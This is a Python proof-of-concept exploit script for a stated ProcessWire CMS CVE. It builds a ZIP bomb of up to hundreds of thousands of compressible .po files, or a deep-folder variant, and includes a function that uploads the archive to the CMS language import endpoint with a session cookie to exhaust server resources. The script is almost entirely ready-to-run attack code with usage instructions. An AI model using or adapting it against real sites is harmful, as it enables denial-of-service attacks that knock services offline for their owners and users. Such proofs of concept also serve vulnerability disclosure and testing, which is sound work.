# CVE-2025-60790 PoC - ProcessWire CMS ZIP Upload Resource Exhaustion DoS
# This PoC demonstrates how to create a malicious ZIP file that causes
# resource exhaustion when auto-extracted by ProcessWire CMS Language Support module
import zipfile
import io
import os
import argparse
def create_zip_bomb(output_path, num_files=100000, file_size=1024):
"""
Create a ZIP bomb that contains many small files to exhaust server resources
when auto-extracted without limits.
"""
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for i in range(num_files):
# Create small files with repetitive content (high compression ratio)
content = b'A' * file_size
filename = f'lang_files/file_{i}.po'
zf.writestr(filename, content)
print(f"[+] ZIP bomb created: {output_path}")
print(f"[+] Contains {num_files} files of {file_size} bytes each")
def create_nested_zip_bomb(output_path, depth=5, files_per_level=100):
"""
Create a nested ZIP structure to maximize resource consumption during extraction.
"""
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for i in range(files_per_level):
inner_content = os.urandom(10240) # 10KB random data per file
for d in range(depth):
path = '/'.join([f'level_{d}' for d in range(d+1)]) + f'/file_{i}.txt'
zf.writestr(path, inner_content)
print(f"[+] Nested ZIP bomb created: {output_path}")
def upload_to_processwire(target_url, zip_path, session_cookie):
"""
Upload the malicious ZIP to ProcessWire Language Support module.
Requires a valid session cookie from an account with lang-edit permission.
"""
import requests
headers = {
'Cookie': f'wire_challenge={session_cookie}',
'User-Agent': 'Mozilla/5.0'
}
with open(zip_path, 'rb') as f:
files = {'language_import': (os.path.basename(zip_path), f, 'application/zip')}
response = requests.post(
f'{target_url}/processwire/setup/language/',
files=files,
headers=headers
)
print(f"[+] Upload response status: {response.status_code}")
return response
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-60790 PoC')
parser.add_argument('--output', default='malicious_lang.zip', help='Output ZIP path')
parser.add_argument('--files', type=int, default=100000, help='Number of files in ZIP')
parser.add_argument('--size', type=int, default=1024, help='Size of each file in bytes')
parser.add_argument('--nested', action='store_true', help='Create nested ZIP bomb')
args = parser.parse_args()
if args.nested:
create_nested_zip_bomb(args.output)
else:
create_zip_bomb(args.output, args.files, args.size)
# Usage example:
# python poc.py --output malicious.zip --files 500000 --size 4096
# Then upload via: POST /processwire/setup/language/ with language_import file